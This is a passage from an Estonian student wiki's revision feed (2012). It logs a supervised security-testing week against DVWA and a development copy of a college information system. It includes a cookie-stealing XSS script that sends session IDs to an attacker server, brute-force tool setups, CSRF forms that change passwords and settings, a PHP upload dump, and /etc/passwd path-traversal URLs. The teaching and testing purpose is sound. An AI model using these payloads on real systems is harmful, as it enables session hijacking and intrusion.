&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47063</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47063"/>
		<updated>2012-03-30T20:49:09Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Nessuse algkäivitamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
